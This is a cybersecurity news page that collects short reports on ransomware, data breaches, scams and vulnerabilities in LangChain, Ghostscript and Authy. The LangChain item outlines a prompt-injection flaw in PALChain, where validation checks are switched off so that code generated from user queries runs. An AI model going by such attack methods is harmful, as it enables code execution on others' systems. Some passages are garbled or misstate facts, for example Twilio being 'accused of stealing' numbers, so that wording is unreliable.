CySecurity News - Latest Information Security and Hacking Incidents: Cybersecurity

Cyber Attacks Cyber Victim CyberCrime Cybersecurity CyberThreat Ransomware Threat Software

California's Major Trial Court Falls Victim to Ransomware Attack

It has been reported that the computer system at the largest trial court in this country has been infected by ransomware, causing the system to crash. Superior Court officials said they were investigating the incident. As soon as the court learned that the computer network systems had been hacked, the systems were disabled, and they are expected to remain down until the weekend at the very least.

Following the statement, a preliminary investigation revealed no evidence that the user's data had been compromised in any way. According to officials with the Superior Court of Los Angeles County, the nation's largest trial court was closed Monday as a ransomware attack shut down its computer system late last week, resulting in a shutdown of its library and many other departments.

As soon as the court became aware of the cyberattack early Friday morning, its computer network was disabled, and the system remained offline throughout the weekend due to the attack. There will be no courthouse operations on Monday, despite reports that the county's 36 courthouses will all remain open to the public on Friday. According to a statement released by the FBI on Friday morning, officials do not believe the cyberattack related to the faulty CrowdStrike software update that has disrupted airlines, hospitals, and governments worldwide is related to the security breach.

Once the court was made aware of the attack, all computer systems connected to its computer network were disabled. An initial investigation has revealed no evidence that the data of users has been compromised, according to the statement released by the company. KCAL, the CNN affiliate based in Los Angeles, reported Monday that the judicial system continues to be closed as it tries to recover.

As the largest court system in the United States that serves a broad range of services to more than 10 million residents in 36 courthouses, the Superior Court of Los Angeles County is the largest unified court system in the country. The number of cases filed in 2022 is expected to reach nearly 1.2 million, and there will be almost 2,200 jury trials. According to the Presiding Judge Samantha P. Jessner, "The Court has been experiencing a cyber-attack which has resulted in almost all of our network systems being shut down.

Companies have contained the damage to their network, ensured data integrity and confidentiality, and ensured future network stability and security" during an unprecedented cyber-attack on Friday. The court has reopened all 36 courthouses tomorrow, July 23, following the tireless dedication of the staff and security experts required to assist in restoring the court to full operation," according to a statement published on the court's website. Court users need to be aware that there will be delays and potential impacts due to limitations in functionality.

LangChain Gen AI Under Scrutiny Experts Discover Significant Flaws

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Vulnerabilities and Exploits

Artificial Intelligence Cyber flaws Cyberattacks CyberCrime Cyberhackers Cybersecurity Cyberthreats Data Breach LangChain Vulnerabilities and Exploits

LangChain Gen AI Under Scrutiny Experts Discover Significant Flaws

Two vulnerabilities have been identified by Palo Alto Networks researchers (CVE-2023-46229 and CVE-2023-44467) that exist in LangChain, an open-source computing framework for generative artificial intelligence that is available on GitHub. The vulnerabilities that affect various products are CVE-2023-46229. It is known as the CVE-2023-46229 or Server Side Request Forgery (SSRF) bug and is an online security vulnerability that affects a wide range of products due to a vulnerability triggered in one of these products.

It should be noted that LangChain versions before 0.0.317 are particularly susceptible to this issue, with the recursive_url_loader.py module being used in the affected products. SSRF attacks can be carried out using this vulnerability, which will allow an external server to crawl and access an internal server, giving rise to SSRF attacks. It is quite clear that this possibility poses a significant risk to a company as it can open up the possibility of unauthorized access to sensitive information, compromise the integrity of internal systems, and lead to the possible disclosure of sensitive information.

As a precautionary measure, organizations are advised to apply the latest updates and patches provided by LangChain to address and strengthen their security posture to solve the SSRF vulnerability. CVE-2023-44467 (or langchain_experimental) refers to a hypervulnerability that affects LangChain versions 0.0.306 and older. It is also known as a cyberattack vulnerability. By using import in Python code, attackers can bypass the CVE-2023-36258 fix and execute arbitrary code even though it was tested with CVE-2023.

It should be noted that pal_chain/base.py does not prohibit exploiting this vulnerability. In terms of exploitability, the score is 3.9 out of 10, with a base severity of CRITICAL, and a base score of 9.8 out of 10. The attack has no privilege requirements, and no user interaction is required, and it can be launched from the network. It is important to note that the impact has a high level of integrity and confidentiality as well as a high level of availability.

Organizers should start taking action as soon as possible to make sure their systems and data are protected from damage or unauthorized access by exploiting this vulnerability. LangChain versions before 0.0.317 are vulnerable to these vulnerabilities. It is recommended that users and administrators of affected versions of the affected products update their products immediately to the latest version.

The first vulnerability, about which we have been alerted, is a critical prompt injection flaw in PALChain, a Python library that LangChain uses to generate code. The flaw has been tracked as CVE-2023-44467. Essentially, the researchers exploited this flaw by altering the functionality of two security functions within the from_math_prompt method, in which the user's query is translated into Python code capable of being run.

The researchers used the two security functions to alter LangChain's validation checks, and it also decreased its ability to detect dangerous functions by setting the two values to false; as a result, they were able to execute the malicious code as a user-specified action on LangChain. In the time of OpenSSL, LangChain is an open-source library that is designed to make complex large language models (LLMs) easier to use.

LangChain provides a multitude of composable building blocks, including connectors to models, integrations with third-party services, and tool interfaces usable by large language models (LLMs). Users can build chains using these components to augment LLMs with capabilities such as retrieval-augmented generation (RAG). This technique supplies additional knowledge to large language models, incorporating data from sources such as private internal documents, the latest news, or blogs.

Application developers can leverage these components to integrate advanced LLM capabilities into their applications. Initially, during its training phase, the model relied solely on the data available at that time. However, by connecting the basic large language model to LangChain and integrating RAG, the model can now access the latest data, allowing it to provide answers based on the most current information available.

LangChain has garnered significant popularity within the community. As of May 2024, it boasts over 81,900 stars and more than 2,550 contributors to its core repository. The platform offers numerous pre-built chains within its repository, many of which are community-contributed. Developers can directly use these chains in their applications, thus minimizing the need to construct and test their own LLM prompts. Researchers from Palo Alto Networks have identified vulnerabilities within LangChain and LangChain Experimental.

A comprehensive analysis of these vulnerabilities is provided. LangChain’s website claims that over one million developers utilize its frameworks for LLM application development. Partner packages for LangChain include major names in the cloud, AI, databases, and other technological development sectors. Two specific vulnerabilities were identified that could have allowed attackers to execute arbitrary code and access sensitive data.

LangChain has issued patches to address these issues. The article offers a thorough technical examination of these security flaws and guides mitigating similar threats in the future. Palo Alto Networks encourages LangChain users to download the latest version of the product to ensure that these vulnerabilities are patched. Palo Alto Networks' customers benefit from enhanced protection against attacks utilizing CVE-2023-46229 and CVE-2023-44467.

The Next-Generation Firewall with Cloud-Delivered Security Services, including Advanced Threat Prevention, can identify and block command injection traffic. Prisma Cloud aids in protecting cloud platforms from these attacks, while Cortex XDR and XSIAM protect against post-exploitation activities through a multi-layered protection approach. Precision AI-powered products help to identify and block AI-generated attacks, preventing the acceleration of polymorphic threats.

One vulnerability, tracked as CVE-2023-46229, affects a LangChain feature called SitemapLoader, which scrapes information from various URLs to compile it into a PDF. The vulnerability arises from SitemapLoader's capability to retrieve information from every URL it receives. A supporting utility called scrape_all gathers data from each URL without filtering or sanitizing it. This flaw could allow a malicious actor to include URLs pointing to intranet resources within the provided sitemap, potentially resulting in server-side request forgery and the unintentional leakage of sensitive data when the content from these URLs is fetched and returned.

Researchers indicated that threat actors could exploit this flaw to extract sensitive information from limited-access application programming interfaces (APIs) of an organization or other back-end environments that the LLM interacts with. To mitigate this vulnerability, LangChain introduced a new function called extract_scheme_and_domain and an allowlist to enable users to control domains.

Both Palo Alto Networks and LangChain urged immediate patching, particularly as companies hasten to deploy AI solutions. It remains unclear whether threat actors have exploited these flaws. LangChain did not immediately respond to requests for comment.

India's Digital Rise Sees Alarming Surge in Online Scams Targeting the Elderly

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Vulnerability

Awareness Cyber Criminals Cyber Fraud Cybersecurity elderly Financial Loss fraud prevention Online Scams Scams vigilance Vulnerability

India's Digital Rise Sees Alarming Surge in Online Scams Targeting the Elderly

With India advancing in the digital landscape, the country is also witnessing a concerning rise in online scams. In recent months, thousands of individuals have lost substantial sums to these cyber criminals, either hoping to earn more money or after being threatened. Scammers employ new tricks, targeting people across all age groups, with a notable increase in elderly victims. Cyber criminals use increasingly sophisticated techniques to exploit the vulnerability and trust of senior citizens, causing significant financial and emotional distress.

In one case from Bengaluru, a 77-year-old woman named Lakshmi Shivakumar lost Rs 1.2 crore to a scam. It began with a call from someone posing as a Telecom Department representative, falsely claiming a SIM card in her name was involved in illegal activities in Mumbai. The caller mentioned a complaint with the Mumbai Crime Branch to add credibility.

Within hours, she received another call from individuals impersonating Mumbai Crime Branch officers, accusing her of laundering Rs 60 crore and demanding her bank account details for verification. Using threats of arrest and showing a fabricated FIR and arrest warrant, the scammers coerced her into sharing her bank details, ultimately transferring Rs 1.28 crore from her account, promising the money's return after the investigation.

In another case from Chandigarh, an elderly woman was deceived out of Rs 72 lakh under the pretense of a digital arrest scam. She received a call from someone claiming to be from the Central Bureau of Investigation (CBI) office in Andheri, Mumbai, falsely implicating her in a drug case connected to a man named Naresh Goyal and threatening to freeze her bank accounts.

The scammer linked her ATM card to the suspect and claimed obscene messages from her phone were circulating. Under immense pressure, she complied with the demands, participating in a video call where a fake police ID was shown. Over a week, the scammers defrauded her of Rs 72 lakh, promising to return the money after proving her innocence.

Older people are particularly vulnerable to such scams due to several reasons. They often struggle to keep up with the latest technology and digital security measures, making them easy targets for tech-savvy criminals. Additionally, older adults are more likely to trust authoritative figures and may not recognize the signs of deceit in official-looking communications. Their financial stability and natural inclination to trust and cooperate with law enforcement further increase their susceptibility.

How to stay safe and protect the elderly from scams

To protect the elderly from falling prey to such scams, awareness and vigilance are crucial. Here are some essential tips:

Inform elderly family members about common types of scams and the tactics used by fraudsters. Regular discussions can help them recognize and avoid potential threats.
Encourage seniors to verify any unsolicited calls or messages by contacting the official organization directly using known contact details, not the ones provided by the caller.
Ensure that devices used by the elderly have updated security software to protect against malware.

Sensitive Health Data of 12.9 Million Individuals Stolen in Cyberattack

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Medisecurity

Cyberattacks CyberCrime Cybersecurity CyberThreat Data Breach Data Exposure Datathreat Medisecurity

Sensitive Health Data of 12.9 Million Individuals Stolen in Cyberattack

One data breach has led to the exposure of several personal and medical data about 12.9 million people who have become victims of cybercrime. Several customers of MediSecure, one of Australia's leading healthcare providers, have been affected by the huge data breach. There has been a breach of data relating to prescriptions distributed by the company's systems from March 2019 to November 2023 that have been exposed.

MediSecure, a company that provides electronic prescriptions, said today that a total of 12.9 million customer records have been stolen and that an unknown amount of these records have been uploaded online. When it first learned of the data breach on April 13, when other servers holding sensitive personal and health data were discovered to be infected with suspected ransomware, the company publicly confirmed the hack in May.

In an attack on MediSecure, which provides medical prescriptions, almost 13 million Australians were impacted by an incident where their personal and health data was breached. Based on a comprehensive investigation into the metadata accessed by its attackers in May 2024, MediSecure has uncovered that 12.9 million individuals, who used the service from March 2019 to November 2023 for the delivery of prescriptions, were affected by the breach.

In addition to this, information regarding patient prescriptions is stored in this database. According to the authors of this evaluation, which was published on July 18, a detailed analysis of healthcare identifiers for individuals was conducted. The dataset consists of a wide variety of information related to both personal and health issues, some of which are sensitive by nature.

Name, title, date of birth, gender, e-mail address, home address, and phone number are the personal information requested. Individual healthcare identifiers (IHI); Medicare card number; Commonwealth Seniors card number and expiration date; Healthcare Concessions card number and expiration date; Health care concessions card number and expiration date; Department of Veterans Affairs (DVA) card number and expiration date; prescription medication, including the name of the drug, the strength, the quantity, the number of repeats and the reason for the prescription.

It has now been announced in a statement by the Department of Home Affairs that certain details about the system breach have been revealed. There have also been several links that have been provided that give victims information on how to identify scammers and protect their personal information as well as where they may find guidance. A support program is also in place to assist those who may be distressed by the nature of the attack; mental health care is also available to those affected.

Nevertheless, it is important to emphasize that prescriptions were not affected by this change and healthcare providers were still able to prescribe and dispense medicines accordingly. There have been further breaches at another major healthcare provider, this time in the US, so the overall cost of the breach is still being calculated. A third of Americans may be impacted by the ransomware attack that took place on Change Healthcare.

In this case, there would be 110 million individuals who would be affected by this catastrophe. There is no doubt that this attack dwarfed the Anthem attack suffered in 2015, which involved the personal records of 78.8 million people. According to The HIPAA Journal, the projected cost of addressing the cyberattack on Change Healthcare that occurred in February is estimated to be between $2.3 billion and $2.45 billion.

This figure, however, does not account for the expenses associated with notifying all affected customers. These cyberattacks have left millions of individuals justifiably worried that their personal information may be accessible to malicious entities who could repeatedly exploit it for fraudulent purposes.

Additionally, these incidents have significantly undermined public trust in medical providers, who are entrusted with some of the most sensitive personal details. The ramifications of these breaches extend beyond financial losses, eroding confidence in the security measures of healthcare institutions tasked with safeguarding patient information.

Government Shuts Down Two Telemarketing Giants for 5.5 Million Fraudulent Calls

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Telecommunication

Cyberattacks CyberCrime Cyberfraud Cybersecurity CyberThreat Technology Telecommunication

Government Shuts Down Two Telemarketing Giants for 5.5 Million Fraudulent Calls

Several telemarketing entities, notably V-Con Intelligent Security and OneXtel Media, have been suspended by the Department of Telecommunications (DoT) for disseminating malicious messages through their services. According to a report by the Economic Times (ET), these two telemarketers alone were responsible for sending a record 55.5 million spam messages since January of this year.

In light of the escalating incidence of SMS fraud within the country, the DoT has taken decisive action to suspend these two telemarketing companies, aiming to mitigate the risks associated with such scams. The DoT's directive, issued on July 15, identified V-Con Intelligent Security and OneXtel Media as platforms for sending customers malicious and phishing SMSes. Reports submitted to the Sanchar Saathi portal, particularly from the 'Chakshu' facility listed under the 'Services' section, highlighted these malicious activities.

Comprehensive analysis of information provided by citizens enabled the DoT to make significant discoveries and undertake specific interventions. In its efforts to combat the proliferation of malicious SMS activities, the DoT has issued orders for the suspension and blacklisting of 131 Principal Entities (PEs), as well as approximately 5,000 SMS templates and 700 SMS headers linked to these activities. Despite these measures, new headers emerge, allowing fraudulent SMSes to be sent to citizens and raising ongoing concerns.

Investigations have revealed that Onextel Media Pvt Ltd and V-Con Intelligent Security Pvt Ltd were responsible for a substantial portion of these malicious SMSes, accounting for 5.55 crore out of the 5.66 crore reported incidents. The DoT directive also mandates telecom companies to file police complaints against these telemarketers for circumventing the Distributed Ledger Technology (DLT) platform and distributing phishing messages.

The DLT platform is utilized to authenticate registered telemarketers and their messaging components, preventing unregistered entities from sending promotional messages. The DoT's actions were prompted by numerous complaints from telecom users regarding malicious SMSes. In response, the DoT employed facial recognition technology to block 6.76 lakh SIM cards and 10,296 mobile phones in Gujarat that were linked to cybercrime activities.

Further investigations revealed financial connections between the identified companies and various organized transnational crimes, including fraudulent stock investments, prompting the Gujarat Police to launch inquiries. Despite the collaborative efforts involving telecom companies and regulatory bodies such as the Telecom Regulatory Authority of India (TRAI), the Reserve Bank of India (RBI), the Securities and Exchange Board of India (SEBI), and the Insurance Regulatory and Development Authority of India (IRDAI), significant challenges persist in curtailing spam and scam activities. The continuous evolution of spamming techniques poses a formidable challenge, necessitating ongoing adaptation and enhancement of countermeasures to effectively mitigate such threats.

Security Nightmare with Hackers Releasing 1,000 Crore Passwords in Major Breach

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Privacy

Cyber Hackers Cyberbreach CyberCrime Cybersecurity CyberThreat Data Major Breach Password Breach Privacy

Security Nightmare with Hackers Releasing 1,000 Crore Passwords in Major Breach

Cyber-security breaches are becoming more and more prevalent and this is causing a lot of concerns amongst the public. The report by Semafor claims that some 10 billion (1,000 crore) passwords have been leaked from a hacking forum online about a file that contains nearly 10 billion (1,000 crore) passwords. The incident that took place on July 4th is regarded as being among the largest cyber-security breaches that have been recorded in history. As a result of the massive leak, a credential stuffing attack could be performed with the help of this massive leak, highlighted the report.

As a type of cyberattack, credential stuffing involves hackers stealing usernames and passwords from several related data breaches to gain access to other accounts owned by the same individual. A significant increase in cyberattacks and malicious attempts to steal data in the past five years has led to an increase in the probability of financial harm becoming a worldwide problem, not only for individual citizens but also for governments and financial institutions spread around the globe.

Cybersecurity reports state that around 10 billion passwords belonging to various people have been made public on global forums, whether they represent social media accounts or email accounts owned by individuals. There is no doubt that this was one of the biggest data breaches ever in the history of mankind.

The Semafor news website reports that a file containing around 10 billion (1,000 crores) passwords was leaked via online hacking forums, which was compiled by an anonymous hacker. Several old and new password breaches were compiled into the compilation, which was uploaded to the internet on July 4 and is one of the largest leaks that anyone has seen to date. According to the SEMAFO report, this massive leak has increased the risk that credential-stuffing attacks will become possible.

As a result of the leak's nature, as it yields a single searchable file, hackers will have an easier time discovering user data thanks to the single searchable file. An attack called credential stuffing occurs when hackers use an infected password to access multiple accounts connected to the same user as soon as the password has been compromised. In the example below, it is possible to break into user A's bank account by using the email password that they use for their email.

The cyber-news is reporting that credential stuffing attacks are compromising users across various platforms such as AT&T, Santander Bank, Ticketmaster, 23andMe, and several other companies. It was also noted in the report that related to a report by the International Monetary Fund (IMF) and a study published by Lancet Journal, the number of malicious cyberattacks has doubled globally since 2020, with the financial industry (20,000 cyberattacks since 2020) and health sectors being hit hardest.

The size of the leak, however, has provided some relief for worried netizens - some analysts have suggested that, as a result of its sheer size, the file may not be able to be accessed. Even though more accounts have been leaked, the report notes that the likelihood of cyberattacks is not heightened just by more passwords being leaked - but of course, it highlights the "glaring holes" in the security systems in place.

Breaking Down the Clock PoC Exploits Utilized by Hackers Within 22 Minutes

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Vulnerabilities and Exploits

Clock PoC CloudFlare CVE Cyberattacks CyberCrime Cybersecurity CyberThreat Vulnerabilities and Exploits

Breaking Down the Clock PoC Exploits Utilized by Hackers Within 22 Minutes

It has been shown that threat actors are swift in weaponizing available proof-of-concept (PoC) exploits in real attacks, often within 22 minutes of publicly releasing these exploits. In that regard, Cloudflare has published its annual Application Security report for 2024, which covers the period between May 2023 and March 2024 and identifies emerging threat trends. It has been observed that Cloudflare, which currently processes an average of 57 million requests per second of HTTP traffic, continues to experience an increase in scanning for CVEs, followed by command injection attacks and attempts to weaponize available proofs-of-concept.

Attackers may exploit a new vulnerability in as little as 22 minutes after the release of a proof-of-concept (PoC), depending on the vulnerability. It has been found that between May 2023 and May 2024, Cloudflare will receive 37,000 threats, which is the most significant number since May 2023. According to Cloudflare's Application Security Report for 2024, hackers are becoming more sophisticated in their search for previously unknown software vulnerabilities, also known as CVEs. They take immediate action when they find them, identifying how to exploit them and attempting to inject commands into them to execute attacks as soon as possible.

Several CVE vulnerabilities have recently been revealed as vulnerabilities, but hackers have already been able to exploit them within 22 minutes of their disclosure. It was reported in the open-source community that CVE-2024-27198, a vulnerability in JetBrains TeamCity, was exploited by hackers. As a result of the evaluated period, the most targeted vulnerabilities were CVE-2023-50164 and CVE-2022-33891 within Apache software, CVE-2023-29298, CVE-2023-38203, and CVE-2023-26360 within Coldfusion software, and CVE-2023-35082 within Mobile Iron software. CVE-2024-27198 is a characteristic example of how weaponization is developing at an extremely fast rate since it is a vulnerability in JetBrains TeamCity that allows authentication bypass.

During a recent incident, Cloudflare picked up on the fact that an attacker deployed a PoC-based exploit 22 minutes after it had been published, giving defenders very little time to remediate the attack. There can only be one way of combating this speed, according to the internet firm, and that is through the use of artificial intelligence (AI) to rapidly come up with effective detection rules. As DDoS attacks continue to dominate the security threat landscape, targeted CVE exploits are becoming a greater concern as well in the coming years.

Over a third of all traffic is automated today, and there is a possibility that up to 93% of it is malicious. Approximately 60% of all web traffic now comes from APIs, but only a quarter of companies know which API endpoints they have. Moreover, enterprise websites typically have 47 third-party integrations that are part of their platform. Cloudflare has also been able to gather some valuable information from the study, which is that in the case of API security, companies are still relying on outdated, traditional methods of providing API security.

In the case of traditional web application firewall (WAF) rules, a negative security model is typically used in the design of those rules. It is assumed that the vast majority of web traffic will be benign in this scenario. Several companies utilize a positive API security model, where strictly defined rules dictate the web traffic that is allowed, while all other access is denied. Cloudflare's network currently processes 57 million HTTP requests per second, reflecting a 23.9% year-over-year increase. The company blocks 209 billion cyber threats daily, which is an 86.6% increase compared to the previous year. These statistics underscore the rapid evolution of the threat landscape.

According to Cloudflare's report covering Q2 2023 to Q1 2024, there has been a noticeable rise in application layer traffic mitigation, growing from 6% to 6.8%, with peaks reaching up to 12% during significant attacks. The primary contributors to this mitigation are Web Application Firewalls (WAF) and bot mitigations, followed by HTTP DDoS rules. There is an increasing trend in zero-day exploits and Common Vulnerabilities and Exposures (CVE) exploitation, with some exploits being utilized within minutes of their disclosure.

Distributed Denial of Service (DDoS) attacks remain the most prevalent threat, accounting for 37.1% of mitigated traffic. In the first quarter of 2024 alone, Cloudflare mitigated 4.5 million unique DDoS attacks, marking a 32% increase from 2023. The motivations behind these attacks range from financial gains to political statements.

Unveiling the Mule Accounts Menace in Modern Money Laundering

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Mule Accounts Menace

Cyber Attacks CyberCrime Cyberhackers Cybersecurity CyberThreat Money Laundering Mule Accounts Menace

Unveiling the Mule Accounts Menace in Modern Money Laundering

In a recent statement, a member of the RBI's board of governors has urged banks to step up efforts against mule accounts. According to Piyush Shukla, money mules in India do much more than move money. A MULE ACCOUNT IS a bank account that receives funds from illegal activities and then transfers those funds to other accounts, thus serving as a bridge for money laundering and other illegal practices to take place.

It is not uncommon in India to come across people who are opening mule accounts based on their bank accounts that they are offering in place of money as payment. The account holder's onboarding process is not automated in this way, which makes it more difficult to detect such accounts. Even though there are ways to put a stop to these accounts, the right controls and monitoring of the user's behaviour throughout the lifecycle of the account can be employed to give the user the greatest protection.

Last November it was reported about the arrests of six people in Bengaluru about the alleged operation of 126 mule accounts. There has been raised concern by the Reserve Bank of India (RBI) earlier this week regarding certain banks having a huge number of fraudster accounts used for fraudulent transactions and loan evergreening by their customers. In a move to curb digital fraud, Shaktikanta Das, the governor of the Reserve Bank of India, has directed banks to crack down on the use of mule accounts as well as increase customer awareness and education initiatives.

Money mules can be generally categorized into five different kinds based on their level of complicity in a money laundering scheme and the way they are employed. A victim mule is a person who is unaware, for example, that his account has been compromised and that it is being abused by a fraudster who wants to launder money through his account. An incident of data breach most likely resulted in the victim's account details being leaked.

Money mules can also come in the shape of misled parties, who are misled into sending and receiving money on behalf of fraudsters, believing that the money they are sending and receiving is clean. It is not uncommon for mules to respond to job advertisements they find interesting, and they respond to one or more of them that involve them executing transactions on behalf of the employers. One of the most common types of money mules is the deceiver. He or she opens new accounts by using stolen or synthetic identities to send and receive stolen funds.

One way in which money is mulled is through the use of "peddlers", or people who sell their information to fraudsters, who then use that information to send and receive stolen funds. Mules can also be accomplices, who can open a new account in his name or use an existing one to send and receive funds at the direction of a fraudster, who instructs him to do so. In the study conducted by BioCatch, a digital fraud detection company, it was revealed that nine out of ten accounts were undetected as mule accounts by one of its Indian partners.

During the first month of documented mule account activity, 86% of the sessions that were posted from within India were documented, however after a month those numbers dropped to just 20%, and 16% of those sessions were using a VPN to access such accounts. Although most of the activity in mule accounts happens in Bhubaneswar—15% —Lucknow and Navi Mumbai are each responsible for 3.4% of the activity. Two cities in West Bengal, Bhagabatipur and Gobindapur, recorded 1.7% and 2.6% of mule account activity, respectively. In comparison, Mumbai and Bengaluru reported 2.2% and 1.8% of such activity, respectively.

To help customers prevent their bank accounts from becoming mule accounts, the following practices are recommended:

1. Treat all unexpected communications, especially those offering lucrative, effortless jobs, with scepticism.

2. Unrealistically high payments for straightforward tasks should raise alarms.

3. Be wary of job offers with ambiguous descriptions and responsibilities, particularly if money transfers are involved.

4. Scammers often pressure customers into making swift decisions, such as hurriedly confirming their identity or claiming a reward. Customers must pause and assess their demands carefully.

5. Be extremely cautious while using unconventional payment methods, such as gift cards or virtual currencies.

In October 2023, the Reserve Bank of India (RBI) tightened the customer due diligence (CDD) norms by instructing banks and regulated entities to adopt a risk-based approach for periodic updating of know-your-customer (KYC) data. According to the latest Master Directions, the risk-based approach for periodic updating of KYC has been amended to state: “Registered Entities (REs) shall adopt a risk-based approach for periodic updating of KYC, ensuring that the information or data collected under CDD is kept up-to-date and relevant, particularly where it is high-risk.”

Furthermore, the Master Directions emphasize that instructions on opening accounts and monitoring transactions should be strictly adhered to, to minimize the operations of money mules. These mules are used to launder the proceeds of fraud schemes, such as phishing and identity theft, by criminals who gain illegal access to deposit accounts.

Banks are required to undertake diligence measures and meticulous monitoring to identify accounts operated as money mules, take appropriate action, and report suspicious transactions to the Financial Intelligence Unit.

Major Ransomware Attack Targets Evolve Bank, Impacting Millions

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Rasomware Attack

Banks Cyber Attacks CyberCrime Cyberhackers Cybersecurity CyberThreat Rasomware Attack

Major Ransomware Attack Targets Evolve Bank, Impacting Millions

An Arkansas-based financial services organization confirmed the incident on July 1 shortly after the ransomware gang published data it claimed had been stolen during the attack and published it on its website. According to the company, there was no payment made to the ransom demand, so the stolen data was leaked online due to the failure to pay the ransom.

Additionally, the bank also reported that the attackers had exfiltrated personal information from some of the bank's customers, including their names, Social Security numbers, and the bank account numbers associated with their accounts, along with their contact information. One of the nation's largest financial institutions, Evolve Bank & Trust, has shared the news of a data breach posing a massive threat to all 7.64 million individuals impacted by the data breach.

After a period of system outages started occurring at the Arkansas-based bank in late May, officials initially thought that a "hardware failure" had caused the outages, but an investigation revealed that the outages were caused by a cyberattack. It was confirmed by Evolve that hackers infiltrated the company's network as early as February. This could have had a significant impact on sensitive customer data.

Understandably, the official notification letter filed with the Maine Attorney General avoids specific details. Still, it is worth noting that the bank has acknowledged that it has lost names, social security numbers, bank account numbers, and contact information. The Maine Attorney General's Office was informed by one of the financial institutions on Monday that the personal information about 7,640,112 individuals was compromised in the attack and that it would provide them with 24 months of credit monitoring and identity protection due to the breach.

Also on Monday, Evolve Bank started sending out written notifications to the impacted individuals, explaining that the ransomware attack occurred on May 29 and that the attackers had access to its network since at least February. Evolve did not specify what types of data had been compromised in the filing, but it previously said in a statement on its website that attackers accessed the names, Social Security numbers, bank account numbers, and contact information belonging to its personal banking customers, the personal data of Evolve employees and information belonging to customers of its financial technology partners.

There are several partners in this list, including Affirm, which recently made a statement assuring customers that the Evolve breach "may have compromised some personal information and data" of its customers." Evolve's partner Mercury, which offers fintech solutions to businesses, made a statement on X in regards to the data breach that affected "some account numbers, deposit balances, and business owner names as well as emails" that were exposed.

The money transfer company Wise (formerly TransferWise) confirmed last week that there may have been an issue with the confidentiality of some of its customers' personal information. A statement by Evolve confirmed this week that the intrusion was the result of a ransomware attack that was instigated by the Russia-linked LockBit group. LockBit's administrator, who was disrupted earlier this year by a multigovernmental operation, is still at large.

When the bank discovered the hacker had accessed its systems in May, it was able to identify the intrusion as an attack by hackers. It's no secret that LockBit made a deal with hackers to release the compromised data on its dark web leak site, which has since been revived after Evolve refused to pay the ransom demand. This letter, sent to customers, expresses Evolve's concern over the hacking of its customer database and a file-sharing system during February and May 2024, during which data about customers was accessed and downloaded.

RaaS groups, like this one, often deploy misinformation or disinformation campaigns alongside cyberattacks as part of their tactics to cause confusion and add maximum impact to their operations. As a result of the breach at Evolve, financial institutions can be reminded of the critical need for them to take robust cybersecurity measures to prevent data breaches in the future.

A growing number of open banking platforms are on the rise and several RaaS attacks are ever-present, as well as a growing warning about data security threats. Institutions need to prioritize data security and implement strong access controls, encryption, and incident response protocols to ensure that their data is secure.

New Ghostscript Vulnerability Alarms Experts as Major Breach Threat

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Vulnerabilities and Exploits

CVE-2024-29510 Cybersecurity Ghostscript flaw Ghostscript security Ghostscript vulnerability infosec PDF interpreter security Remote Code Execution Security Breach Vulnerabilities and Exploits

New Ghostscript Vulnerability Alarms Experts as Major Breach Threat

The information security community is buzzing with discussions about a vulnerability in Ghostscript, which some experts believe could lead to significant breaches in the coming months.

Ghostscript, a Postscript and Adobe PDF interpreter, allows users on various platforms including *nix, Windows, macOS, and several embedded operating systems to view, print, and convert PDFs and image files. It is commonly installed by default in many distributions and is also utilized by other packages for printing or conversion tasks.

This vulnerability, identified as CVE-2024-29510 and given a CVSS score of 5.5 (medium) by Tenable, was first reported to the Ghostscript team in March and was addressed in the April release of version 10.03.1. However, the researcher's blog post that uncovered this flaw has recently sparked widespread interest.

Thomas Rinsma, the lead security analyst at Codean Labs in the Netherlands, discovered a method to achieve remote code execution (RCE) on systems running Ghostscript by bypassing the -dSAFER sandbox. Rinsma highlighted the potential impact on web applications and services that use Ghostscript for document conversion and preview functionalities.

Ghostscript's extensive use in various applications, such as cloud storage preview images, chat programs, PDF conversion, printing, and optical character recognition (OCR) workflows, underscores its importance. Stephen Robinson, a senior threat intelligence analyst at WithSecure, noted that Ghostscript's integral role in many solutions often goes unnoticed.

To enhance security, the Ghostscript development team has implemented increasingly robust sandboxing capabilities, with the -dSAFER sandbox enabled by default to prevent dangerous operations like command execution. Detailed technical information and a proof of concept (PoC) exploit for Linux (x86-64) can be found on the researcher's blog. The PoC demonstrates the ability to read and write files arbitrarily and achieve RCE on affected systems.

Rinsma confirmed that the PoC may not work universally due to assumptions about stack and structure offsets that vary by system. The PoC, shared by Codean Labs, is an EPS file, and any image conversion service or workflow compatible with EPS could be exploited for RCE, according to Robinson.

Tenable's assessment of the CVE as a local vulnerability requiring user interaction has been questioned by experts like Bob Rudis, VP of data science at GreyNoise. Rudis and others believe that no user interaction is needed for the exploit to succeed, which could mean the severity score is underestimated.

Accurate severity assessments are crucial for the infosec industry, as they guide organizations on the urgency of applying patches and mitigations. The delayed recognition of this vulnerability's severity highlights the importance of precise evaluations.

Rudis expects several notifications from organizations about breaches related to this vulnerability in the next six months. Bill Mill, a full-stack developer at ReadMe, reported seeing attacks in the wild and emphasized the need for organizations to prioritize applying patches.

This is the second notable RCE vulnerability in Ghostscript within 12 months. Last July, CVE-2023-36664, rated 9.8 on the severity scale, made headlines after Kroll's investigation. Ghostscript's widespread use in modern software, including 131 packages in Debian 12 and applications like LibreOffice, underscores the critical need for security measures.

Twilio Alerts Authy Users of Potential Security Risks Involving Phone Numbers

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Twilio Alerts

CyberCrime Cyberhackers Cybersecurity CyberThreat Data Leak Mobile Security Phone number Security Risks Twilio Alerts

Twilio Alerts Authy Users of Potential Security Risks Involving Phone Numbers

The U.S. messaging giant Twilio has been accused of stealing 33 million phone numbers over the past week as a result of a hacker's exploit. Authy, a popular two-factor authentication app owned by Twilio that uses the phone numbers of people to authenticate, has confirmed to TechCrunch today that "threat actors" can identify the phone numbers of users of Authy. It was recently reported that a hacker or hacker group known as ShinyHunters entered into a well-known hacking forum and posted that they had hacked Twilio and received the cell phone numbers of 33 million subscribers from Twilio.

As a spokesperson for Twilio Ramirez explained to TechCrunch, the company has detected that threat actors have been able to identify phone numbers associated with Authy accounts through an unauthenticated endpoint, however, it's yet to be known how this happened. According to a report by TechCrunch earlier this week, someone has obtained phone numbers related to Twilio's two-factor authentication service (2FA), Authy, of which it is a part.

An alert from Twilio on Monday warned of possible phishing attacks and other scams using stolen phone numbers, which the company described as "threat actors" trying to steal personal information. An incident that happened in 2022 occurred following a phishing campaign that tricked employees into using their login credentials to gain access to the company's computer network. During the attack, hackers gained access to 163 Twilio accounts as well as 93 Authy accounts through which they were able to access and register additional devices. It has been revealed that Twilio traced this leak to an "unauthenticated endpoint" that has since been secured by the company.

